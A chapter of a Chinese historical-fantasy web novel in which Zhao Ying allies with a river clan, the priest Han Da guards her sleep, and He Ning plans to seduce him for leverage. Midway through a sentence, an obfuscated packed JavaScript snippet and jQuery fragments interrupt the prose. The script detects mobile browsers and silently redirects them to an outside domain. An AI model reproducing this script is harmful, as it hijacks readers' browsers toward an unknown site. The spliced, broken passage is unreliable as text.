136. 盘龙直上22

作品:《大商祭司

    赵瑛示意赵真把旗帜交给莫梨,接着道:“五日之后,我在盘龙城设宴,请河伯派一位心腹拨冗赴宴。”


    河宁依旧很警惕地问道:“只为我们设宴吗?”


    “不止小姐一家。盘龙城将有一场盛大的祭祀,届时我要让大江两岸的所有部族都知道,自此以后,长江中游将要改天换日了。”赵瑛笑着道。


    “好,那一日我会代表母亲去赴宴。”河宁搀住了河乙,“母亲回去休息吧,由我来继续招待贵客们。”


    赵瑛道:“河伯大人是得了风寒吧?”


    河乙道:“也不知是什么妖魔附体,让赵伯见笑。”


    她也不知道自己还能活多久,这样日日咳,夜夜咳,不知自己还能不能替唯一的女儿多撑一段时间。


    却听赵瑛说:“河伯有吃什么药吗?”


    河宁不解道:“什么?我母亲什么也不曾吃。吃了会怎么样?”


    “河宁,不可无礼。”河乙苍白地笑笑,对赵瑛道:“我若死了,河宁会继我之位,继续为您效力,我们的约定不会变。”


    “只是伤寒,不是大病,河伯这话不至于。”


    赵瑛理解这些蒙昧氏族部落对疾病的恐惧,一个风寒要了人命的事在这年头也不算稀奇。“我与河伯的交易正要有起色,不能让小病耽误了大事。河伯如果信我,我的船就在岸边,船上有疗愈风寒咳嗽的草药,可以让人拿着赵真的令牌去河边取,喝几天兴许就能好。”


    河宁激动起来:“真的?”


    赵瑛想了想,还是如实说:“不敢夸海口,但喝了肯定比不喝好。”


    河宁立刻道:“莫梨,安排人去河边取药,再带一些食物和酒水,请赵伯的手下享用。”


    莫梨:“是,小姐!”


    “赵伯今晚就在府里休息吧?我已经让人安排好了住处,明日一早让河宁带人,陪同几位贵客在城里游玩一番。”河乙道。


    赵瑛一拱手:“那今晚就要打扰了。罕答大人的房间在哪?我先送大人回房歇息。”


    河宁带着一丝奇异的眼神,望向一直坐在主位旁边的男人。


    刚才她和赵瑛对峙的过程,他全程都在向这里看,但没有出言,也没有出手。而赵瑛言行之间明显对他另眼相待,并且最早传来的消息,便是赵瑛亲自陪同这个神官到各个部落游玩。


    所以,目前尚没有生育孩子的赵瑛,心里最重要的人该就是这位神官吧?


    随后,莫梨安排妥当,女仆们各自侍奉一位贵客,将他们送去客房休息。


    赵真亲自带着洪汉去河边取药,而河宁也陪同母亲回房休息。


    赵瑛送罕答进了房间,让女仆离开,终于能借着酒劲激动地嚷起来:“成功了,太好了!得到了铅和锡,盘龙城的冶铜工坊可以开出来,五日之后祭祀一办,我赵瑛的名字就要代替邝重小子成为长江霸主了,哈哈哈哈。”


    “大人说话算话啊,五天之后要给我好好的表现,给我把面子里子都挣足了!”


    “你带来的人手够不够啊?要是不够,我去贺爻那里给你拉几个来撑撑场面,借几套你们神官的衣服就成。”


    她拽着罕答,一把将人拖到床榻上坐下,又把罕答的袖子搭在自己腿上给他撸平,自说自话地笑不停。


    罕答轻轻笑了一声,另一只手抬起来,摸了摸赵瑛的头。


    “你喝醉了。”他说。


    “我没醉,我很清楚,我知道你是罕答!”赵瑛拽开罕答的另一只手,“你身上这个香味闻得我犯困。”


    “你说,刚才我与那城主母女俩对峙,威不威风?英不英雄?”赵瑛迷糊地说,一张脸不知是因为什么憋的泛红。


    罕答甚少接触年轻的女孩,不知道别人会不会也像她这样,鼓吹自己比谁都厉害,一分本事能说成三分,还能让人就这样信了。


    现在她仗着四分醉意六分坏,在他面前献宝的目的也不知是什么。但是他竟然还很受用。


    叹了一口气,罕答说:“赵瑛,你没有醉。”


    赵瑛:“当然,这不废话吗。”


    “是我醉了。”罕答的话音里带着笑。“所以你在我面前吹牛也好,你要我替你办事也好,我都是欣喜的,愉悦的。”


    他那张英俊的脸蒙上一层热意,好像有什么东西在他的心里疯长,马上就要不受他的控制。


    “以前你问我,如果你支持的君王和我想的不是同一个,我会怎么选。”


    赵瑛:“嗯呢?”


    “我想好答案了。”他说。


    赵瑛:“什么?”


    “如果我所想非你所想,那我就换一个想。”


    罕答伸手蒙住了赵瑛的眼,另一手把她拉进自己的怀里。“你困了,睡一会儿吧。我今早点的灯,是从神庙里拿来的。”


    他的衣袖遮住了她的脸,他的怀里满是香樟与松树的香味。他环住了她的肩膀,在她耳边轻声说:“赵真去了河边,今晚我来给你守夜。”


    赵瑛迷迷糊糊地应了一声。


    罕答身上香味太过催眠,不过多久,他怀里传来了均匀的呼吸声。


    赵瑛睡着了。


    罕答把她放平到床塌上,脱下她的鞋子,给她盖上毛毯,然后背靠床沿坐在了地上。


    这个坐姿,这个位置,平时赵真也是这样守夜的。


    “他虽然不是男人,但也不是女人,以后不要和他那么亲近了。”罕答屈起双膝,把手臂撑在膝盖上,头垂进了臂弯,声音极轻。


    *


    河宁陪母亲回到房间,坐在床边为母亲梳头。


    感应到梳子停了,女儿似乎在思索什么,河乙侧头问:“怎么了,在想什么?”


    河宁放下木梳,坐到母亲的旁边,把下巴枕在了河乙的膝盖上。“母亲,你信她吗?”


    河乙:“赵瑛?”


    河宁:“嗯,我总怕她有什么后招。”


    “我信她是个好人。”河乙掩口轻咳了一声。她做城主整整二十年,看过很多人,他们或者也像赵瑛这样标榜自身,或者也有赵瑛这般骄矜自满,可是他们都比不上赵瑛。


    莫梨的人打听来,赵瑛带人清剿邝重那一夜,没有对他们赶尽杀绝。她没有为难水匪的妻女,只杀了几个水匪头子,其他人都只是被挑断了手筋脚筋,都还活着,也没有遭受毒打,只是在替她干活。


    之前她害怕的是去了邝重这条豺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698622|173470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狼,又来一匹猛虎,所以安排人在赵瑛来的路上设伏,引她入漩涡。一则是探探赵瑛的实力,如果这个小水潭她都淌不过去,就说明剿灭邝重这回事未必是真,她不值得依附。二来看清她的心智,她是否和打听到的消息一样,是一个心存仁善的友邻。


    看到莫梨活着回来时,河乙做下一个决定:她要在这个赵瑛身上赌一把。


    那时她甚至还不知道赵瑛是女人,她只是想着,如果赵瑛能在洪汉手里活下来,那么证明她的确有本事。


    那时河乙就已经做好了必死的准备。她在赌赵瑛的人品,若她愿意付出生命,赵瑛是否可以像对邝重的妻女一般,对她的族人网开一面。


    事实证明她赌对了,甚至赌赢了。


    赵瑛是一个如雄鹰一般倨傲的君主,但是她有倨傲的本钱,她还有高贵的品德,值得追崇的品性。


    如果是这样的人,那么成为她的盟友、交易伙伴,甚至为她的下臣,都是共赢的选择。


    河宁却摇了摇头。“母亲从没看错过人,但我不信枯木生花绝处逢生就真的是神明在庇佑我。我只信我自己。”


    河宁从河乙的院子出来之后,回房间精心打扮了一般,然后让女仆带她去罕答的房间。


    母亲放心赵瑛,但她不放心。她必须要在手里抓住些什么。


    赵瑛看重罕答,那么她就从那神官入手。留不下神官的人,她也不求留住神官的心,她只要得到他的身体,留下一个他的孩子,以后就能以这个孩子把持那神官,就等于在赵瑛身边安插了自己的眼线。


    万一将来赵瑛反悔,至少有个罕答可以为她所用。


    河宁推开了罕答的房门,这个华丽的套间里没有点灯,但就着月光可以看到,罕答没有躺在里间的卧床上,却坐在会客室的地毡上小憩。


    河宁脱下了自己的外衫,露出光滑的肩膀和丰满诱人的身体。她知道自己的身体很美,她很像她的母亲,有一身光洁白皙的皮肤。


    身段柔软的少女,任何一个男人都不会拒绝。


    罕答感觉到有一个冰凉光滑的身体缩进自己的怀里,立刻从浅睡眠中惊醒。是赵瑛醒了吗?


    怀里的身体很灵活,一双手圈住了他的腰,少女特有的娇小与柔软紧贴着他,令罕答整个人都生出了一种怪异的僵硬,甚至一双手都不知道往哪里搁。


    她的脸颊贴上他的脖子,冰凉的唇划过他的耳垂,令他抵触般瑟缩了一下。


    “你干什么?怎么这么冷?衣服呢?”罕答吞咽了一下,就要站起来给她去拿衣服,却听见怀里的人说:“大人,你抱抱我,我就不冷了。”


    这个声音带着懒懒的鼻音,有点不像往日的清脆。是着凉了?


    她的手已经钻进了他的外衣,此刻正要去脱他的外衣。


    罕答立刻知道,这不是赵瑛。


    赵瑛虽然身量也不高,但她的身体没有这样柔软。赵瑛一身的硬骨头与腱子肉,身体比她的态度还要强度。


    她身上的香味也不是这种清新淡雅的花草香,赵瑛的熏香非常绵密厚重,仿佛能把人压倒在浓香的威压之下。


    来的人只有娇柔,没有豪横,所以绝不是赵瑛。